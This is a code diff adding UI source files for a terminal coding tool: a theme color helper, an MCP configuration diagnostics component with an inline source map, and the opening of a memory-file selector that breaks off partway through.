Add files using upload-large-folder tool

src/components/design-system/color.ts

@@ -0,0 +1,30 @@
+import { type ColorType, colorize } from '../../ink/colorize.js'
+import type { Color } from '../../ink/styles.js'
+import { getTheme, type Theme, type ThemeName } from '../../utils/theme.js'
+
+/**
+ * Curried theme-aware color function. Resolves theme keys to raw color
+ * values before delegating to the ink renderer's colorize.
+ */
+export function color(
+  c: keyof Theme | Color | undefined,
+  theme: ThemeName,
+  type: ColorType = 'foreground',
+): (text: string) => string {
+  return text => {
+    if (!c) {
+      return text
+    }
+    // Raw color values bypass theme lookup
+    if (
+      c.startsWith('rgb(') ||
+      c.startsWith('#') ||
+      c.startsWith('ansi256(') ||
+      c.startsWith('ansi:')
+    ) {
+      return colorize(text, c, type)
+    }
+    // Theme key lookup
+    return colorize(text, getTheme(theme)[c as keyof Theme], type)
+  }
+}

src/components/mcp/McpParsingWarnings.tsx

@@ -0,0 +1,213 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useMemo } from 'react';
+import { getMcpConfigsByScope } from 'src/services/mcp/config.js';
+import type { ConfigScope } from 'src/services/mcp/types.js';
+import { describeMcpConfigFilePath, getScopeLabel } from 'src/services/mcp/utils.js';
+import type { ValidationError } from 'src/utils/settings/validation.js';
+import { Box, Link, Text } from '../../ink.js';
+function McpConfigErrorSection(t0) {
+  const $ = _c(26);
+  const {
+    scope,
+    parsingErrors,
+    warnings
+  } = t0;
+  const hasErrors = parsingErrors.length > 0;
+  const hasWarnings = warnings.length > 0;
+  if (!hasErrors && !hasWarnings) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== hasErrors || $[1] !== hasWarnings) {
+    t1 = (hasErrors || hasWarnings) && <Text color={hasErrors ? "error" : "warning"}>[{hasErrors ? "Failed to parse" : "Contains warnings"}]{" "}</Text>;
+    $[0] = hasErrors;
+    $[1] = hasWarnings;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== scope) {
+    t2 = getScopeLabel(scope);
+    $[3] = scope;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== t2) {
+    t3 = <Text>{t2}</Text>;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== t1 || $[8] !== t3) {
+    t4 = <Box>{t1}{t3}</Box>;
+    $[7] = t1;
+    $[8] = t3;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  let t5;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Text dimColor={true}>Location: </Text>;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== scope) {
+    t6 = describeMcpConfigFilePath(scope);
+    $[11] = scope;
+    $[12] = t6;
+  } else {
+    t6 = $[12];
+  }
+  let t7;
+  if ($[13] !== t6) {
+    t7 = <Box>{t5}<Text dimColor={true}>{t6}</Text></Box>;
+    $[13] = t6;
+    $[14] = t7;
+  } else {
+    t7 = $[14];
+  }
+  let t8;
+  if ($[15] !== parsingErrors) {
+    t8 = parsingErrors.map(_temp);
+    $[15] = parsingErrors;
+    $[16] = t8;
+  } else {
+    t8 = $[16];
+  }
+  let t9;
+  if ($[17] !== warnings) {
+    t9 = warnings.map(_temp2);
+    $[17] = warnings;
+    $[18] = t9;
+  } else {
+    t9 = $[18];
+  }
+  let t10;
+  if ($[19] !== t8 || $[20] !== t9) {
+    t10 = <Box marginLeft={1} flexDirection="column">{t8}{t9}</Box>;
+    $[19] = t8;
+    $[20] = t9;
+    $[21] = t10;
+  } else {
+    t10 = $[21];
+  }
+  let t11;
+  if ($[22] !== t10 || $[23] !== t4 || $[24] !== t7) {
+    t11 = <Box flexDirection="column" marginTop={1}>{t4}{t7}{t10}</Box>;
+    $[22] = t10;
+    $[23] = t4;
+    $[24] = t7;
+    $[25] = t11;
+  } else {
+    t11 = $[25];
+  }
+  return t11;
+}
+function _temp2(warning, i_0) {
+  const serverName_0 = warning.mcpErrorMetadata?.serverName;
+  return <Box key={`warning-${i_0}`}><Text><Text dimColor={true}>└ </Text><Text color="warning">[Warning]</Text><Text dimColor={true}>{" "}{serverName_0 && `[${serverName_0}] `}{warning.path && warning.path !== "" ? `${warning.path}: ` : ""}{warning.message}</Text></Text></Box>;
+}
+function _temp(error, i) {
+  const serverName = error.mcpErrorMetadata?.serverName;
+  return <Box key={`error-${i}`}><Text><Text dimColor={true}>└ </Text><Text color="error">[Error]</Text><Text dimColor={true}>{" "}{serverName && `[${serverName}] `}{error.path && error.path !== "" ? `${error.path}: ` : ""}{error.message}</Text></Text></Box>;
+}
+export function McpParsingWarnings() {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {
+      scope: "user",
+      config: getMcpConfigsByScope("user")
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      scope: "project",
+      config: getMcpConfigsByScope("project")
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = {
+      scope: "local",
+      config: getMcpConfigsByScope("local")
+    };
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = [t0, t1, t2, {
+      scope: "enterprise",
+      config: getMcpConfigsByScope("enterprise")
+    }];
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const scopes = t3 satisfies Array<{
+    scope: ConfigScope;
+    config: {
+      errors: ValidationError[];
+    };
+  }>;
+  const hasParsingErrors = scopes.some(_temp3);
+  const hasWarnings = scopes.some(_temp4);
+  if (!hasParsingErrors && !hasWarnings) {
+    return null;
+  }
+  let t4;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text bold={true}>MCP Config Diagnostics</Text>;
+    $[4] = t4;
+  } else {
+    t4 = $[4];
+  }
+  let t5;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Box flexDirection="column" marginTop={1} marginBottom={1}>{t4}<Box marginTop={1}><Text dimColor={true}>For help configuring MCP servers, see:{" "}<Link url="https://code.claude.com/docs/en/mcp">https://code.claude.com/docs/en/mcp</Link></Text></Box>{scopes.map(_temp5)}</Box>;
+    $[5] = t5;
+  } else {
+    t5 = $[5];
+  }
+  return t5;
+}
+function _temp5(t0) {
+  const {
+    scope,
+    config: config_1
+  } = t0;
+  return <McpConfigErrorSection key={scope} scope={scope} parsingErrors={filterErrors(config_1.errors, "fatal")} warnings={filterErrors(config_1.errors, "warning")} />;
+}
+function _temp4(t0) {
+  const {
+    config: config_0
+  } = t0;
+  return filterErrors(config_0.errors, "warning").length > 0;
+}
+function _temp3(t0) {
+  const {
+    config
+  } = t0;
+  return filterErrors(config.errors, "fatal").length > 0;
+}
+function filterErrors(errors: ValidationError[], severity: 'fatal' | 'warning'): ValidationError[] {
+  return errors.filter(e => e.mcpErrorMetadata?.severity === severity);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"names":["React","useMemo","getMcpConfigsByScope","ConfigScope","describeMcpConfigFilePath","getScopeLabel","ValidationError","Box","Link","Text","McpConfigErrorSection","t0","$","_c","scope","parsingErrors","warnings","hasErrors","length","hasWarnings","t1","t2","t3","t4","t5","Symbol","for","t6","t7","t8","map","_temp","t9","_temp2","t10","t11","warning","i_0","serverName_0","mcpErrorMetadata","serverName","i","path","message","error","McpParsingWarnings","config","scopes","Array","errors","hasParsingErrors","some","_temp3","_temp4","_temp5","config_1","filterErrors","config_0","severity","filter","e"],"sources":["McpParsingWarnings.tsx"],"sourcesContent":["import React, { useMemo } from 'react'\nimport { getMcpConfigsByScope } from 'src/services/mcp/config.js'\nimport type { ConfigScope } from 'src/services/mcp/types.js'\nimport {\n  describeMcpConfigFilePath,\n  getScopeLabel,\n} from 'src/services/mcp/utils.js'\nimport type { ValidationError } from 'src/utils/settings/validation.js'\nimport { Box, Link, Text } from '../../ink.js'\n\nfunction McpConfigErrorSection({\n  scope,\n  parsingErrors,\n  warnings,\n}: {\n  scope: ConfigScope\n  parsingErrors: ValidationError[]\n  warnings: ValidationError[]\n}): React.ReactNode {\n  const hasErrors = parsingErrors.length > 0\n  const hasWarnings = warnings.length > 0\n\n  if (!hasErrors && !hasWarnings) {\n    return null\n  }\n\n  return (\n    <Box flexDirection=\"column\" marginTop={1}>\n      <Box>\n        {(hasErrors || hasWarnings) && (\n          <Text color={hasErrors ? 'error' : 'warning'}>\n            [{hasErrors ? 'Failed to parse' : 'Contains warnings'}]{' '}\n          </Text>\n        )}\n        <Text>{getScopeLabel(scope)}</Text>\n      </Box>\n      <Box>\n        <Text dimColor>Location: </Text>\n        <Text dimColor>{describeMcpConfigFilePath(scope)}</Text>\n      </Box>\n      <Box marginLeft={1} flexDirection=\"column\">\n        {parsingErrors.map((error, i) => {\n          const serverName = error.mcpErrorMetadata?.serverName\n          return (\n            <Box key={`error-${i}`}>\n              <Text>\n                <Text dimColor>└ </Text>\n                <Text color=\"error\">[Error]</Text>\n                <Text dimColor>\n                  {' '}\n                  {serverName && `[${serverName}] `}\n                  {error.path && error.path !== '' ? `${error.path}: ` : ''}\n                  {error.message}\n                </Text>\n              </Text>\n            </Box>\n          )\n        })}\n        {warnings.map((warning, i) => {\n          const serverName = warning.mcpErrorMetadata?.serverName\n\n          return (\n            <Box key={`warning-${i}`}>\n              <Text>\n                <Text dimColor>└ </Text>\n                <Text color=\"warning\">[Warning]</Text>\n                <Text dimColor>\n                  {' '}\n                  {serverName && `[${serverName}] `}\n                  {warning.path && warning.path !== ''\n                    ? `${warning.path}: `\n                    : ''}\n                  {warning.message}\n                </Text>\n              </Text>\n            </Box>\n          )\n        })}\n      </Box>\n    </Box>\n  )\n}\n\nexport function McpParsingWarnings(): React.ReactNode {\n  // Config files don't change during dialog lifetime; read once on mount\n  // to avoid blocking file IO on every re-render.\n  const scopes = useMemo(\n    () =>\n      [\n        { scope: 'user', config: getMcpConfigsByScope('user') },\n        { scope: 'project', config: getMcpConfigsByScope('project') },\n        { scope: 'local', config: getMcpConfigsByScope('local') },\n        { scope: 'enterprise', config: getMcpConfigsByScope('enterprise') },\n      ] satisfies Array<{\n        scope: ConfigScope\n        config: { errors: ValidationError[] }\n      }>,\n    [],\n  )\n\n  const hasParsingErrors = scopes.some(\n    ({ config }) => filterErrors(config.errors, 'fatal').length > 0,\n  )\n  const hasWarnings = scopes.some(\n    ({ config }) => filterErrors(config.errors, 'warning').length > 0,\n  )\n\n  if (!hasParsingErrors && !hasWarnings) {\n    return null\n  }\n\n  return (\n    <Box flexDirection=\"column\" marginTop={1} marginBottom={1}>\n      <Text bold>MCP Config Diagnostics</Text>\n      <Box marginTop={1}>\n        <Text dimColor>\n          For help configuring MCP servers, see:{' '}\n          <Link url=\"https://code.claude.com/docs/en/mcp\">\n            https://code.claude.com/docs/en/mcp\n          </Link>\n        </Text>\n      </Box>\n      {scopes.map(({ scope, config }) => (\n        <McpConfigErrorSection\n          key={scope}\n          scope={scope}\n          parsingErrors={filterErrors(config.errors, 'fatal')}\n          warnings={filterErrors(config.errors, 'warning')}\n        />\n      ))}\n      {/* TODO: Add additional diagnostic sections:\n       * - Duplicate Server Names (check for servers with same name across scopes)\n       * This section should include:\n       * - File paths where each server is defined\n       * - More detailed location info for user/local scopes\n       * - Approved / disabled status of servers\n       */}\n    </Box>\n  )\n}\n\nfunction filterErrors(\n  errors: ValidationError[],\n  severity: 'fatal' | 'warning',\n): ValidationError[] {\n  return errors.filter(e => e.mcpErrorMetadata?.severity === severity)\n}\n"],"mappings":"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","ignoreList":[]}

src/components/memory/MemoryFileSelector.tsx

@@ -0,0 +1,438 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import chalk from 'chalk';
+import { mkdir } from 'fs/promises';
+import { join } from 'path';
+import * as React from 'react';
+import { use, useEffect, useState } from 'react';
+import { getOriginalCwd } from '../../bootstrap/state.js';
+import { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js';
+import { Box, Text } from '../../ink.js';
+import { useKeybinding } from '../../keybindings/useKeybinding.js';
+import { getAutoMemPath, isAutoMemoryEnabled } from '../../memdir/paths.js';
+import { logEvent } from '../../services/analytics/index.js';
+import { isAutoDreamEnabled } from '../../services/autoDream/config.js';
+import { readLastConsolidatedAt } from '../../services/autoDream/consolidationLock.js';
+import { useAppState } from '../../state/AppState.js';
+import { getAgentMemoryDir } from '../../tools/AgentTool/agentMemory.js';
+import { openPath } from '../../utils/browser.js';
+import { getMemoryFiles, type MemoryFileInfo } from '../../utils/claudemd.js';
+import { getClaudeConfigHomeDir } from '../../utils/envUtils.js';
+import { getDisplayPath } from '../../utils/file.js';
+import { formatRelativeTimeAgo } from '../../utils/format.js';
+import { projectIsInGitRepo } from '../../utils/memory/versions.js';
+import { updateSettingsForSource } from '../../utils/settings/settings.js';
+import { Select } from '../CustomSelect/index.js';
+import { ListItem } from '../design-system/ListItem.js';
+
+/* eslint-disable @typescript-eslint/no-require-imports */
+const teamMemPaths = feature('TEAMMEM') ? require('../../memdir/teamMemPaths.js') as typeof import('../../memdir/teamMemPaths.js') : null;
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+interface ExtendedMemoryFileInfo extends MemoryFileInfo {
+  isNested?: boolean;
+  exists: boolean;
+}
+
+// Remember last selected path
+let lastSelectedPath: string | undefined;
+const OPEN_FOLDER_PREFIX = '__open_folder__';
+type Props = {
+  onSelect: (path: string) => void;
+  onCancel: () => void;
+};
+export function MemoryFileSelector(t0) {
+  const $ = _c(58);
+  const {
+    onSelect,
+    onCancel
+  } = t0;
+  const existingMemoryFiles = use(getMemoryFiles());
+  const userMemoryPath = join(getClaudeConfigHomeDir(), "CLAUDE.md");
+  const projectMemoryPath = join(getOriginalCwd(), "CLAUDE.md");
+  const hasUserMemory = existingMemoryFiles.some(f => f.path === userMemoryPath);
+  const hasProjectMemory = existingMemoryFiles.some(f_0 => f_0.path === projectMemoryPath);
+  const allMemoryFiles = [...existingMemoryFiles.filter(_temp).map(_temp2), ...(hasUserMemory ? [] : [{
+    path: userMemoryPath,
+    type: "User" as const,
+    content: "",
+    exists: false
+  }]), ...(hasProjectMemory ? [] : [{
+    path: projectMemoryPath,
+    type: "Project" as const,
+    content: "",
+    exists: false
+  }])];
+  const depths = new Map();
+  const memoryOptions = allMemoryFiles.map(file => {
+    const displayPath = getDisplayPath(file.path);
+    const existsLabel = file.exists ? "" : " (new)";
+    const depth = file.parent ? (depths.get(file.parent) ?? 0) + 1 : 0;
+    depths.set(file.path, depth);
+    const indent = depth > 0 ? "  ".repeat(depth - 1) : "";
+    let label;
+    if (file.type === "User" && !file.isNested && file.path === userMemoryPath) {
+      label = "User memory";
+    } else {
+      if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
+        label = "Project memory";
+      } else {
+        if (depth > 0) {
+          label = `${indent}L ${displayPath}${existsLabel}`;
+        } else {
+          label = `${displayPath}`;
+        }
+      }
+    }
+    let description;
+    const isGit = projectIsInGitRepo(getOriginalCwd());
+    if (file.type === "User" && !file.isNested) {
+      description = "Saved in ~/.claude/CLAUDE.md";
+    } else {
+      if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
+        description = `${isGit ? "Checked in at" : "Saved in"} ./CLAUDE.md`;
+      } else {
+        if (file.parent) {
+          description = "@-imported";
+        } else {
+          if (file.isNested) {
+            description = "dynamically loaded";
+          } else {
+            description = "";
+          }
+        }
+      }
+    }
+    return {
+      label,
+      value: file.path,
+      description
+    };
+  });
+  const folderOptions = [];
+  const agentDefinitions = useAppState(_temp3);
+  if (isAutoMemoryEnabled()) {
+    let t1;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = {
+        label: "Open auto-memory folder",
+        value: `${OPEN_FOLDER_PREFIX}${getAutoMemPath()}`,
+        description: ""
+      };
+      $[0] = t1;
+    } else {
+      t1 = $[0];
+    }
+    folderOptions.push(t1);
+    if (feature("TEAMMEM") && teamMemPaths.isTeamMemoryEnabled()) {
+      let t2;
+      if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+        t2 = {
+          label: "Open team memory folder",
